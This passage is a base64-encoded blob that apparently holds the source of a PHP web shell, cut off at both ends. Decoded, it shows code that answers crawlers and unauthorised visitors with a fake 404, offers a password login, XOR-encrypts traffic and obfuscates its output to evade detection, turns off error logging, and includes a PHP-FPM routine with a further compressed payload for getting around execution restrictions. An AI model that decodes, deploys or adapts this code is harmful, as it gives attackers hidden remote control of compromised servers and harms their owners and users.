PQkFMU1snSEFTSFRZUEUnXSwgKCRHTE9CQUxTWydSRU1PVEVfQUREUiddID8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gOiAnJykuJHN0ci5fX0ZJTEVfXykpOwp9CgpmdW5jdGlvbiBzZXRFbmNLZXkoJHBhc3MgPSAnJyl7CglpZighJHBhc3MgJiYgJEdMT0JBTFNbJ0VOQ0tFWSddKSByZXR1cm4gJEdMT0JBTFNbJ0VOQ0tFWSddOwoJJGVLZXkgPSBnZW5FbmNLZXkoJHBhc3MpOwoJJEdMT0JBTFNbJ0VOQ0tFWSddID0gJGVLZXk7CglyZXR1cm4gJGVLZXk7Cn0KCmZ1bmN0aW9uIGRlY29kZVJlcXVlc3QoKXsKCSRfUkVRVUVTVCA9IGFycmF5X21lcmdlKCRfRklMRVMsICRfQ09PS0lFLCAkX1JFUVVFU1QpOyB1bnNldCgkX0dFVCwgJF9QT1NULCAkX0NPT0tJRSk7CgkkR0xPQkFMU1snUFJFTEVOJ10gPSBnZXRQcmVMZW4oKTsKCWlmKCEkR0xPQkFMU1snRU5DS0VZJ10gPSBnZXRFbmNLZXkoKSkgJEdMT0JBTFNbJ0VOQ0tFWSddID0gc2V0RW5jS2V5KCk7CgkkX1JFUVVFU1QgPSBkZWNvZGVJbnB1dCgkX1JFUVVFU1QpOwp9CgpmdW5jdGlvbiBnZXRQcmVMZW4oKXsKCXJldHVybiAoc3Vic3RyKGFycmF5X3N1bShzdHJfc3BsaXQoaGFzaCgkR0xPQkFMU1snSEFTSFRZUEUnXSwgX19GSUxFX18pKSksIC0xKSArIDUpOwp9CgpmdW5jdGlvbiBmaWx0ZXJDbGllbnQoKXsKCSRzZWNyZXRIZWFkZXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF8nLiRHTE9CQUxTWydTRUNIRUFEJ11dKTsKCSRjcmF3bGVyQm90ID0gcHJlZ19tYXRjaCgnL2JvdHxjcmF3bHxzcGlkZXIvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CglpZigkY3Jhd2xlckJvdCB8fCAhJHNlY3JldEhlYWRlcikgZXhpdChoZWFkZXIoJ0hUVFAvMS4xIDQwNCBOb3QgRm91bmQnKSk7Cn0KCmZ1bmN0aW9uIGxvZ2luRm9ybU91dCgpewoJJGh0bWwgPSAnPGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4Ij48L2hlYWQ+PGJvZHkgc3R5bGU9ImJhY2tncm91bmQ6I2YwZjBmMDtkaXNwbGF5OmdyaWQ7aGVpZ2h0OjEwMHZoO21hcmdpbjowO3BsYWNlLWl0ZW1zOmNlbnRlciBjZW50ZXI7Ij48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIiBvbnN1Ym1pdD0icmV0dXJuIGxvZ2luKHRoaXMpIj48aW5wdXQgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlciIgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIHZhbHVlPSIiPjwvZm9ybT48L2JvZHk+Jy5wYXJhbXNIYW5kbGVySlMoKS4nPC9odG1sPic7CglleGl0KG1ha2VPdXQoJGh0bWwpKTsKfQoKZnVuY3Rpb24gc2NyaXB0SW5pdCgpewoJaWYoIWlzc2V0KCRHTE9CQUxTWydERUJVRyddKSkgcmV0dXJuOwoJZGVmaW5lKCdEJywgJEdMT0JBTFNbJ0RFQlVHJ10pOwoJc2V0X3RpbWVfbGltaXQoRCA/IDE1IDogMCk7CgllcnJvcl9yZXBvcnRpbmcoRCA/IEVfQUxMIDogMCk7Cglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIEQgPyAnT24nIDogJ09mZicpOwoJaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgRCA/IDE1IDogMCk7Cglpbmlfc2V0KCdlcnJvcl9sb2cnLCBOVUxMKTsKCWluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKfQoKZnVuY3Rpb24gZGVjb2RlSW5wdXQoJiRhcnIpewoJJHN0ciA9ICcnOwoJZm9yZWFjaCgkYXJyIGFzICRrID0+ICR2KXsKCQkka2V5ID0gZ2V0TmFtZSgkayk7CgkJaWYoIXN0cmxlbigka2V5KSkgY29udGludWU7CgkJJHN0ciAuPSAka2V5Lic9Jy51cmxlbmNvZGUoZ2V0VmFsdWUoJHYpKS4nJic7CgkJdW5zZXQoJGFyclska10pOwoJfQoJcGFyc2Vfc3RyKCRzdHIsICRkZWMpOwoJcmV0dXJuIGFycmF5X21lcmdlKCRhcnIsICRkZWMpOwp9CgpmdW5jdGlvbiB4b3JTdHIoJHN0ciwgJGRlY29kZSA9IGZhbHNlKSB7Cgkka2V5ID0gJEdMT0JBTFNbJ0VOQ0tFWSddOwogICAgJGtleV9sZW4gPSBzdHJsZW4oJGtleSk7CiAgICAkc3RyID0gKCEkZGVjb2RlID8gcmF3dXJsZW5jb2RlKCRzdHIpIDogJHN0cik7CiAgICBmb3IoJGkgPSAwOyAkaSA8IHN0cmxlbigkc3RyKTsgJGkrKykKICAgICAgICAkc3RyWyRpXSA9ICRzdHJbJGldIF4gJGtleVskaSAlICRrZXlfbGVuXTsKICAgICRzdHIgPSAoJGRlY29kZSA/IHJhd3VybGRlY29kZSgkc3RyKSA6ICRzdHIpOwogICAgcmV0dXJuICRzdHI7Cn0KCmZ1bmN0aW9uIGFzY2lpMmhleCgkYXNjaWkpIHsKCSRoZXggPSAnJzsKCWZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkYXNjaWkpOyAkaSsrKSB7CgkJJGJ5dGUgPSBzdHJ0b3VwcGVyKGRlY2hleChvcmQoJGFzY2lpWyRpXSkpKTsKCQkkYnl0ZSA9IHN0cl9yZXBlYXQoJzAnLCAyIC0gc3RybGVuKCRieXRlKSkuJGJ5dGU7CgkJJGhleC49JGJ5dGU7Cgl9CglyZXR1cm4gJGhleDsKfQoKZnVuY3Rpb24gaGV4MmFzY2lpKCRoZXgpewoJJGFzY2lpPScnOwoJJGhleD1zdHJfcmVwbGFjZSgiICIsICIiLCAkaGV4KTsKCWZvcigkaT0wOyAkaTxzdHJsZW4oJGhleCk7ICRpPSRpKzIpCgkJJGFzY2lpLj1jaHIoaGV4ZGVjKHN1YnN0cigkaGV4LCAkaSwgMikpKTsKCXJldHVybigkYXNjaWkpOwp9CgpmdW5jdGlvbiBzZXROYW1lKCRzdHIpewoJJHN0ciA9IGFzY2lpMmhleCh4b3JTdHIoJHN0cikpOwoJJHByZWYgPSBzdWJzdHIoJEdMT0JBTFNbJ0VOQ0tFWSddLCAwLCAkR0xPQkFMU1snUFJFTEVOJ10pOwoJcmV0dXJuICRwcmVmLiRzdHI7Cn0KCmZ1bmN0aW9uIGdldE5hbWUoJHN0cil7CgkkZGF0YSA9IGdldERhdGEoJHN0cik7CglpZigkZGF0YSA9PT0gZmFsc2UpIHJldHVybiBmYWxzZTsKCXJldHVybiB4b3JTdHIoaGV4MmFzY2lpKCRkYXRhKSwgdHJ1ZSk7Cn0KCmZ1bmN0aW9uIHNldFZhbHVlKCRzdHIpewoJcmV0dXJuIGJhc2U2NF9lbmNvZGUoeG9yU3RyKCRzdHIpKTsKfQoKZnVuY3Rpb24gZ2V0VmFsdWUoJHN0cil7CglyZXR1cm4geG9yU3RyKGJhc2U2NF9kZWNvZGUoJHN0ciksIHRydWUpOwp9CgpmdW5jdGlvbiBnZXREYXRhKCRzdHIpewoJJGxuID0gJEdMT0JBTFNbJ1BSRUxFTiddOwoJJHByZWYgPSBzdWJzdHIoJHN0ciwgMCwgJGxuKTsKCSRkYXRhID0gc3Vic3RyKCRzdHIsICRsbik7CglyZXR1cm4gKCRwcmVmID09PSBzdWJzdHIoJEdMT0JBTFNbJ0VOQ0tFWSddLCAwLCAkbG4pID8gJGRhdGEgOiBmYWxzZSk7Cn0KCmZ1bmN0aW9uIHBhcmFtc0hhbmRsZXJKUygpewoJcmV0dXJuICc8c2NyaXB0PgoJCXZhciBFTkNLRVkgPSBhdG9iKCInLmJhc2U2NF9lbmNvZGUoJEdMT0JBTFNbJ0VOQ0tFWSddKS4nIik7CgkJdmFyIFBSRUxFTiA9ICcuJEdMT0JBTFNbJ1BSRUxFTiddLic7CgkJdmFyIENPT0tJRSA9ICcuKGludCkkR0xPQkFMU1snQ09PS0lFJ10uJzsKCgkJJy4oJEdMT0JBTFNbJ0RBUksnXSA/ICdpbnZlcnRDb2xvcnMoKTsnIDogJycpLicKCQlzdGFydEV2ZW50c0xpc3RuZXJzKCk7CgkJaWYoQ09PS0lFKXsKCQkJaWYoY2kgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY2JDTyIpKQoJCQkJY2kuY2hlY2tlZCA9ICJvbiI7CgkJCWRlbGV0ZUFsbENvb2tpZXMoKTsKCQl9CgoJCWZ1bmN0aW9uIHN0YXJ0RXZlbnRzTGlzdG5lcnMoKXsKCQkJdmFyIGVsZW1lbnRzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoIioiKTsKCQkKCQkJZm9yKHZhciBpPTA7aTxlbGVtZW50cy5sZW5ndGg7aSsrKXsKCgkJCQlpZihlbGVtZW50c1tpXS50eXBlICYmIGVsZW1lbnRzW2ldLnR5cGUgPT0gImZpbGUiKQoJCQkJCQllbGVtZW50c1tpXS5vbmNoYW5nZSA9IGZ1bmN0aW9uKGUpewoJCQkJCQkJaWYoIWVsbUJ5SWQoImNiUlIiKS5jaGVja2VkKSBwcmVwYXJlRmlsZSh0aGlzKQoJCQkJCQkJZWxzZSB1cGxGaWxlcygpOwoJCQkJCQl9CgkJCQkJCgkJCX0KCQl9CgkJCQkKCQlmdW5jdGlvbiBiaW4yaGV4KGJpbil7CgkJICB2YXIgaGV4ID0gIiI7CgkJICBmb3IodmFyIGkgPSAwOyBpPGJpbi5sZW5ndGg7IGkrKyl7CgkJICAgIHZhciBjID0gYmluLmNoYXJDb2RlQXQoaSk7CgkJICAgIGlmIChjPjB4RkYpIGMgLT0gMHgzNTA7CgkJICAgIGhleCArPSAoYy50b1N0cmluZygxNikubGVuZ3RoID09PSAxID8gIjAiIDogIiIpICsgYy50b1N0cmluZygxNik7CgkJICB9CgkJICByZXR1cm4gaGV4OwoJCX0KCQkKCQlmdW5jdGlvbiBsb2dpbihmb3JtKXsKCQkJYWRkRW5jS2V5KGZvcm0pOwoJCQlmb3JtLnBhc3MudmFsdWUgPSBzZXRWYWx1ZShmb3JtLnBhc3MudmFsdWUpOwoJCQlmb3JtLnBhc3MubmFtZSA9IHNldE5hbWUoZm9ybS5wYXNzLm5hbWUpOwoJCQkKCQkJaWYoQ09PS0lFKQoJCQkJc3VibWl0VmlhQ29va2llKGZvcm0pOwoJCQllbHNlCgkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCSAgCgkJZnVuY3Rpb24gaGV4MmJpbihoZXgpIHsKCQkgIHZhciBiaW4gPSAiIjsKCQkgIGZvciAodmFyIGk9MDsgaTxoZXgubGVuZ3RoOyBpPWkrMikgewoJCSAgICB2YXIgYyA9IHBhcnNlSW50KCIiK2hleFtpXStoZXhbaSsxXSwgMTYpOwoJCSAgICBpZiAoYz4weDdGKSBjICs9IDB4MzUwOwoJCSAgICBiaW4gKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjKTsKCQkgIH0KCQkgIHJldHVybiBiaW47CgkJfQoJCQkKCQlmdW5jdGlvbiB4b3JTdHIoc3RyLCBkZWNvZGUgPSBmYWxzZSkgewoJCQlzdHIgPSAoIWRlY29kZSA/IGVuY29kZVVSSUNvbXBvbmVudChzdHIpIDogc3RyKTsKCQkJc3RyID0gc3RyLnNwbGl0KCIiKTsKCQkgICAga2V5ID0gRU5DS0VZLnNwbGl0KCIiKTsKCQkgICAgdmFyIHN0cl9sZW4gPSBzdHIubGVuZ3RoOwoJCSAgICB2YXIga2V5X2xlbiA9IGtleS5sZW5ndGg7CgkJCgkJICAgIHZhciBTdHJpbmdfZnJvbUNoYXJDb2RlID0gU3RyaW5nLmZyb21DaGFyQ29kZTsKCQkKCQkgICAgZm9yKHZhciBpID0gMDsgaSA8IHN0cl9sZW47IGkrKykgewoJCSAgICAgICAgc3RyW2ldID0gU3RyaW5nX2Zyb21DaGFyQ29kZShzdHJbaV0uY2hhckNvZGVBdCgwKSBeIGtleVtpICUga2V5X2xlbl0uY2hhckNvZGVBdCgwKSk7CgkJICAgIH0KCQkgICAgc3RyID0gc3RyLmpvaW4oIiIpOwoJCSAgICAKCQkgICAgaWYoZGVjb2RlKXsgCgkJCQl0cnl7CgkJCQkJc3RyID0gZGVjb2RlVVJJQ29tcG9uZW50KHN0cik7CgkJCQl9CgkJCQljYXRjaChlKXsKCQkJCQlzdHIgPSB1bmVzY2FwZShzdHIpOwoJCQkJfQoJCQl9CgoJCSAgICByZXR1cm4gc3RyOwoJCX0KCQkKCQlmdW5jdGlvbiBzZXROYW1lKHN0cil7CgkJCXN0ciA9IGJpbjJoZXgoeG9yU3RyKHN0cikpOwoJCQlwcmVmID0gRU5DS0VZLnN1YnN0cigwLCBQUkVMRU4pOwoJCQlyZXR1cm4gcHJlZiArIHN0cjsKCQl9CgkJCgkJZnVuY3Rpb24gc2V0VmFsdWUoc3RyKXsKCQkJcmV0dXJuIGJ0b2EoeG9yU3RyKHN0cikpOwoJCX0KCQkKCQlmdW5jdGlvbiBnZXRWYWx1ZShzdHIpewoJCQlyZXR1cm4geG9yU3RyKGF0b2Ioc3RyKSwgdHJ1ZSk7CgkJfQoJCQoJCWZ1bmN0aW9uIGFkZEVuY0tleShmb3JtKXsKCQkJdmFyIGVuY0tleSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7CgkJCWVuY0tleS50eXBlID0gImhpZGRlbiI7CgkJCXByZWYgPSBFTkNLRVkuc3Vic3RyKDAsIFBSRUxFTik7CgkJCWVuY0tleS5uYW1lID0gcHJlZi5zcGxpdCgiIikucmV2ZXJzZSgpLmpvaW4oIiIpICsgcHJlZjsKCQkJZW5jS2V5LnZhbHVlID0gYnRvYShFTkNLRVkpOwoJCQlmb3JtLmFwcGVuZENoaWxkKGVuY0tleSk7CgkJCXJldHVybiBmb3JtOwoJCX0KCQkKCQlmdW5jdGlvbiBmaXhGaWxlTmFtZShzdHIsIGxlbiA9IGZhbHNlKXsKCQkJc3RyID0gc3RyLnNwbGl0KC8oXFxcXHxcXC8pL2cpLnBvcCgpOwoJCQlpZihsZW4pIHN0ciA9IHN0ci5zdWJzdHJpbmcoMCwgbGVuKTsKCQkJcmV0dXJuIHN0cjsKCQl9CgkJCgkJZnVuY3Rpb24gZ2V0UGFyZW50Rm9ybU9mKGVsZW1lbnQpewoJCQkKCQkJd2hpbGUoZWxlbWVudC50YWdOYW1lICE9ICJGT1JNIikKCQkJCWVsZW1lbnQgPSBlbGVtZW50LnBhcmVudEVsZW1lbnQ7CgoJCQlyZXR1cm4gZWxlbWVudDsKCQl9CgkJCgkJZnVuY3Rpb24gcHJlcGFyZUZpbGUoaW5wdXQpewoJCQl2YXIgZmlsZSA9IGlucHV0OwoJCQlmb3JtID0gZ2V0UGFyZW50Rm9ybU9mKGlucHV0KTsKCQkJZm9ybS5lbmN0eXBlID0gImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCI7CgkJCQoJCQlpZihmaWxlLmZpbGVzLmxlbmd0aCl7CgkJCQl2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsKCQkJCQoJCQkJcmVhZGVyLm9ubG9hZCA9IGZ1bmN0aW9uKGUpewoJCQkJCQlmaWxlbmFtZSA9IGZpeEZpbGVOYW1lKGlucHV0LnZhbHVlKTsKCQkJCQkJd3d3RmlsZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7CgkJCQkJCXd3d0ZpbGUudHlwZSA9ICJoaWRkZW4iOwoJCQkJCQl3d3dGaWxlLmlkID0gaW5wdXQubmFtZTsKCQkJCQkJd3d3RmlsZS5uYW1lID0gaW5wdXQubmFtZSArICJbIitmaWxlbmFtZSsiXSI7CgkJCQkJCXd3d0ZpbGUudmFsdWUgPSBlLnRhcmdldC5yZXN1bHQ7CgkJCQkJCWlmKGUudGFyZ2V0LnJlc3VsdC5sZW5ndGggPD0gMjA5NzE1MikKCQkJCQkJCWZvcm0uYXBwZW5kQ2hpbGQod3d3RmlsZSk7CgkJCQkJCWVsc2UKCQkJCQkJCWlmKGNvbmZpcm0oIlJlcXVlc3Qgc2l6ZSBpcyB+IiArIE1hdGgucm91bmQoKChlLnRhcmdldC5yZXN1bHQubGVuZ3RoICogMikgLyAxMDI0KSAvIDEwMjQpICsgIk0sIGJ1dCBsaW1pdHMgaXMgb2Z0ZW4gYXJvdW5kIDw9IDhNLiBUaGVyZSBpcyBubyBndWFyYW50ZWUgdGhhdCB0aGUgZmlsZSB3aWxsIGJlIHVwbG9hZGVkLlxuWW91IGNhbiBkaXNhYmxlIHJlcXVlc3QgZW5jb2RpbmcsIHVzZSBvdGhlciB1cGxvYWQgbWV0aG9kcyBvciBzZWxlY3QgYSBzbWFsbGVyIGZpbGUuIENvbnRpbnVlPyIpKQoJCQkJCQkJCWZvcm0uYXBwZW5kQ2hpbGQod3d3RmlsZSk7CgkJCQkJCQllbHNlCgkJCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCQkJCgkJCQkJCXVwbEZpbGVzKCk7CgkJCQkJCQoJCQkJCQllbGVtZW50cyA9IGZvcm0uZ2V0RWxlbWVudHNCeVRhZ05hbWUoIioiKTsKCQkJCQkJZm9yKHZhciBpID0gMDsgaSA8IGVsZW1lbnRzLmxlbmd0aDsgaSsrKQoJCQkJCQkJaWYoZWxlbWVudHNbaV0udHlwZSA9PT0gImhpZGRlbiIpCgkJCQkJCQkJZm9ybS5yZW1vdmVDaGlsZChlbGVtZW50c1tpXSk7CgkJCQl9OwoJCQkJCgkJCQlyZWFkZXIucmVhZEFzRGF0YVVSTChmaWxlLmZpbGVzWzBdKTsKCQkJCXJldHVybiByZWFkZXI7CgkJCX0KCQkJCgkJfQoKCQlmdW5jdGlvbiBkZWxldGVBbGxDb29raWVzKCkgewkKCQkJdmFyIGNvb2tpZXMgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKCQkKCQkJZm9yICh2YXIgaSA9IDA7IGkgPCBjb29raWVzLmxlbmd0aDsgaSsrKSB7CgkJCQl2YXIgY29va2llID0gY29va2llc1tpXTsKCQkJCXZhciBlcVBvcyA9IGNvb2tpZS5pbmRleE9mKCI9Iik7CgkJCQl2YXIgbmFtZSA9IGVxUG9zID4gLTEgPyBjb29raWUuc3Vic3RyKDAsIGVxUG9zKSA6IGNvb2tpZTsKCQkJCWRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPTtleHBpcmVzPVRodSwgMDEgSmFuIDE5NzAgMDA6MDA6MDAgR01UIjsKCQkJfQoJCQkKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQoJCWZ1bmN0aW9uIHN1Ym1pdFZpYUNvb2tpZShlbmNvZGVkRm9ybSwgcmVmcmVzaCA9IHRydWUpewoJCQl2YXIgcmVxbGVuID0gMDsKCQkJdmFyIGVsZW1lbnRzID0gZW5jb2RlZEZvcm0uZ2V0RWxlbWVudHNCeVRhZ05hbWUoIioiKTsKCQkJCgkJCWZvcihpID0gMDsgaSA8IGVsZW1lbnRzLmxlbmd0aDsgaSsrKSB7CgkJCQkKCQkJCWlmKCFlbGVtZW50c1tpXS5uYW1lKSBjb250aW51ZTsKCQkJCQoJCQkJbmFtZSA9IGVsZW1lbnRzW2ldLm5hbWU7CgkJCQl2YWx1ZSA9IGVuY29kZVVSSUNvbXBvbmVudChlbGVtZW50c1tpXS52YWx1ZSk7CgoJCQkJaWYodmFsdWUubGVuZ3RoID4gNDA5NSB8fCByZXFsZW4gPiA3Njk2KXsKCQkJCQlpZihjb25maXJtKCJUaGUgcmVxdWVzdCBoZWFkZXIgaXMgdG9vIGJpZywgc2VuZCBpdCB2aWEgUE9TVD8iKSl7CgkJCQkJCWRlbGV0ZUFsbENvb2tpZXMoKTsKCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCX0KCQkJCQllbHNlewoJCQkJCQlkZWxldGVBbGxDb29raWVzKCk7CgkJCQkJCXJldHVybiAiQ0FOQ0VMIjsKCQkJCQl9CgkJCQl9CgkJCQkKCQkJCWRvY3VtZW50LmNvb2tpZSA9ICBuYW1lICsgIj0iICsgdmFsdWU7CgkJCQlyZXFsZW4gPSByZXFsZW4gKyBuYW1lLmxlbmd0aCArIHZhbHVlLmxlbmd0aDsKCQkJfQoJCQkKCQkJaWYocmVmcmVzaCkKCQkJCXdpbmRvdy5sb2NhdGlvbiA9IHdpbmRvdy5sb2NhdGlvbi5wYXRobmFtZTsKCQkJZWxzZQoJCQkJcmV0dXJuICJTRU5EIjsKCQl9CgkJCgkJZnVuY3Rpb24gaW52ZXJ0Q29sb3JzKCkgewoJCSAgICB2YXIgY3NzID0gImh0bWx7LXdlYmtpdC1maWx0ZXI6IGludmVydCg5MCUpOyAtbW96LWZpbHRlcjogaW52ZXJ0KDkwJSk7IC1vLWZpbHRlcjogaW52ZXJ0KDkwJSk7IC1tcy1maWx0ZXI6IGludmVydCg5MCUpO30iOwoJCSAgICB2YXIgaGVhZCA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07CgkJICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInN0eWxlIik7CgkJICAgIGlmKCF3aW5kb3cuY291bnRlcikKCQkgICAgICAgIHdpbmRvdy5jb3VudGVyID0gMTsKCQkgICAgZWxzZXsKCQkgICAgICAgIHdpbmRvdy5jb3VudGVyKys7CgkJICAgICAgICBpZiAod2luZG93LmNvdW50ZXIgJSAyID09IDApCgkJICAgICAgICAgICAgdmFyIGNzcyA9ICJodG1sey13ZWJraXQtZmlsdGVyOiBpbnZlcnQoMCUpOyAtbW96LWZpbHRlcjogaW52ZXJ0KDAlKTsgLW8tZmlsdGVyOiBpbnZlcnQoMCUpOyAtbXMtZmlsdGVyOiBpbnZlcnQoMCUpO30iCgkJICAgIH0KCQkgICAgc3R5bGUudHlwZSA9ICJ0ZXh0L2NzcyI7CgkJICAgIAoJCSAgICBpZihzdHlsZS5zdHlsZVNoZWV0KQoJCSAgICAgICAgc3R5bGUuc3R5bGVTaGVldC5jc3NUZXh0ID0gY3NzOwoJCSAgICBlbHNlCgkJICAgICAgICBzdHlsZS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShjc3MpKTsKCQkgICAgICAgIAoJCSAgICBoZWFkLmFwcGVuZENoaWxkKHN0eWxlKTsKCQkgICAgCgkJICAgIHJldHVybiBmYWxzZTsKCQl9Cjwvc2NyaXB0Pic7Cn0KCmZ1bmN0aW9uIG1ha2VPdXQoJHN0cil7CglyZXR1cm4gKGMoJzxzY3JpcHQ+JykudChmKCd3cml0ZScsIDEpLicoJy5mKCdkZWNvZGVVUklDb21wb25lbnQnKS4nKCcuZignYXRvYicpLicoKCcuaShiYXNlNjRfZW5jb2RlKHJhd3VybGVuY29kZShjKCRzdHIsIDEpKSksIDEwMCwgNDAwKS4nKSkpKTsnLCB0cnVlKS5jKCc8L3NjcmlwdD4nKSk7Cn0KCmZ1bmN0aW9uIGYoJGYsICRkID0gZmFsc2UpewoJJHIgPSByYW5kKDAsMSk7CglyZXR1cm4gKCRyID8gKHJhbmQoMCwxKSAmJiAhJGQgPyBmKCdzZWxmJykgOiAoJHIgICYmICEkZCA/IGYoJ3RvcCcpIDogZignZG9jdW1lbnQnKSkpLidbJy5pKCRmLCAxLCAzKS4nXScgOiAoJGQgPyBmKCdkb2N1bWVudCcpLicuJy4kZiA6ICRmKSk7Cn0KCmZ1bmN0aW9uIGkoJHMsICRtLCAkeCl7CgkkcyA9IHN0cl9zcGxpdCgkcywgcmFuZCgkbSwgJHgpKTsKCWlmKCRtID4gNTApICRzWzBdID0gdHJpbShpKCRzWzBdLCAxLCA1LCB0cnVlKSwgJyJcJycpOwoJcmV0dXJuIGltcGxvZGUoJysnLCBhcnJheV9tYXAoZnVuY3Rpb24oJGspeyRyID0gZGF0ZSgnSCcpID4gMTI7IHJldHVybiAoJHIgPyAnIicgOiAnXCcnKS4kay4oJHIgPyAnIicgOiAnXCcnKTt9LCAkcykpOwp9CgpmdW5jdGlvbiBjKCRzID0gJycsICRuID0gMCl7CgkkciA9IGFycmF5KCcvJywgJz4nLCAnKicpOwoJcmV0dXJuIChyYW5kKCRuLCAxKSA/ICc8IS0tJy5zdHJfcmVwbGFjZSgkciwgJycsIGooMSkpLictLT4nLihzdHJsZW4oJHMpID8gJHMuKHJhbmQoMCwgMSkgPyAnPCEtLScuc3RyX3JlcGxhY2UoJHIsICcnLCBqKDEpKS4nLS0+Jy4iXG4iIDogJycpIDogJycpIDogJHMpOwp9CgpmdW5jdGlvbiBqKCRhID0gMCl7CgoJJGwgPSByYW5kKDEwLCAxMDApOwoJd2hpbGUoIWlzc2V0KCRjWyRsXSkpIEAkYyAuPSBjaHIoJGEgPyByYW5kKDMyLCAxMjYpIDogcmFuZCgxLCAxMjcpKTsKCQoJaWYocmFuZCgwLCAxKSkKCQlyZXR1cm4gIi8vIi5zdHJfcmVwbGFjZShhcnJheSgiXHIiLCJcbiIpLCAiIiwgJGMpLiJcbiI7CgllbHNlCgkJcmV0dXJuICIvKiIucHJlZ19yZXBsYWNlKCJ8XCovfCIsIiIsICRjKS4iKi8iOwp9CgpmdW5jdGlvbiB0KCRzLCAkbiA9IGZhbHNlKXsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Rva2VuX2dldF9hbGwnKSkgcmV0dXJuICRzOwoJCgkkcyA9ICgkbiA/ICc8P3BocCAnIDogJycpLiRzOwoJCglmb3JlYWNoKHRva2VuX2dldF9hbGwoJHMpIGFzICR0KQoJCUAkciAuPSAoaXNfYXJyYXkoJHQpID8gJHRbMV0gOiAkdCkuaigpOwoJCglyZXR1cm4gKCRuID8gc3Vic3RyKCRyLCA2KSA6ICRyKTsKfQoKZnVuY3Rpb24gc0RpZSgkc3RyID0gJycpewoJaWYoUk8pCgkJZGllKCRzdHIpOwoJZWxzZXsKCQkkb3V0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7CgkJb2JfZW5kX2NsZWFuKCk7Cgl9CgkKCWlmKHByZWdfZ3JlcCgnfGF0dGFjaG1lbnR8JywgaGVhZGVyc19saXN0KCkpKSBwcmludCBnemVuY29kZSgkb3V0LiRzdHIsIDkpOwoJZWxzZQoJCXByaW50IHNldFZhbHVlKCRvdXQuJHN0cik7CglkaWU7Cn0KCmZ1bmN0aW9uIHNhZmVtb2RlKCRjbWQgPSAnY2hlY2snKXsKCQoJaWYoIWRlZmluZWQoJ1BIUF9WRVJTSU9OX0lEJykpIHJldHVybiBmYWxzZTsKCSRjID0gX19GVU5DVElPTl9fOwoJJHYgPSBQSFBfVkVSU0lPTl9JRDsKCQoJJHBvY3NbJ2NtX3BocF9mcG0nXSA9IGFycmF5KCd2JyA9PiAoKHN0cnBvcyhwaHBfc2FwaV9uYW1lKCksICdmcG0nKSAhPT0gZmFsc2UpICYmIGlzX2ludChhcnJheV9zZWFyY2godHJ1ZSwgYXJyYXlfbWFwKGZ1bmN0aW9uKCRmKXtpZihmdW5jdGlvbl9leGlzdHMoJGYpKSByZXR1cm4gdHJ1ZTt9LCBhcnJheSgnbWFpbCcsICdlcnJvcl9sb2cnLCAnaW1hcF9tYWlsJywnbWJfc2VuZF9tYWlsJykpKSkpLCAncicgPT4gJ2V4ZWNGUE0oJCcuJGMuJyknLCAnYycgPT4nZUp5TlYyMVQyMFlRL2t4bitoOE9SWm1UTW9wa0F5YUVoRkFHVFBCTXdLNXgwdWtrbVJ0Wk9tRVZXZEpJTW9HMi9QZnU3dDM1Qlp1Mk1qN2Y3VDYzdDd2YWx5T1o1VkdURmptVDl6STZIMXc2ZGpTTjNiOSsvbW5Mcm1UTmpsZ1NaclY4QjJ2NFN4UEhUc29wVUc5a2cyQ1hrRnQyUFIyRXpRVG9hWjRLNERtOGxuazhEZE5NbE1EZ0xncllVdERKZVpwSmdEcHBMWDVVYVJPT00rbHduN3ZzbUFseDFoc0t3UTVaL1ZDaklOSElhU25pdElLamZCNXdmeHAzbkNhZFNsaVRUSHQ2ZTU2Rk55QVBPVnE2VDBZUVA0R2xLR2VOaUlxOGtYbFRHNHpIK0l2dFlKem1RVDNodnZVdHQzeitnbkZmQzFRVWxPTno5Z0hwYXB1U0drMm1SYnlRMUhyVDZTeVpXRTVLYmFQUmgvdEE0ODhwcFBHZzBmdGptTFBqRDhwaEpDd3FZcFRFY2JFbHE2cW9SQ1hMb21yUy9NWnBxVk8zME8wMXVOMVNnS3k0c1VDcnAwd2dDd0xVaHF2NGlaUG9LQkR5UHExQkphdWV5Q3dUR0JPVzZ4TEt4TU9DNDFoenIvamMwb2NaaWR0cGpXZmlKaDBrWUhwUnlUQ2FPR0ZWaFErT2hlRUJpcXpvYktYVHNCU0tZMDNIQXNOSUxWMFcxc3hHUmJVK20vUldmSE1lNkl4cnArM0JSK3NIenhpMHVEV3JSL3A5NU5vWmVCNWxBWVM1eDhhek5Jc0hZWFNyb3AzZWhjY1c3OHZFaFB1T3diTzgzK1RIbWd6TzRUVnozRW9wNHk2RmpjNDNqQStNL0tjQmE5N1hMTS9TL05aWmlVZEQwNW9SO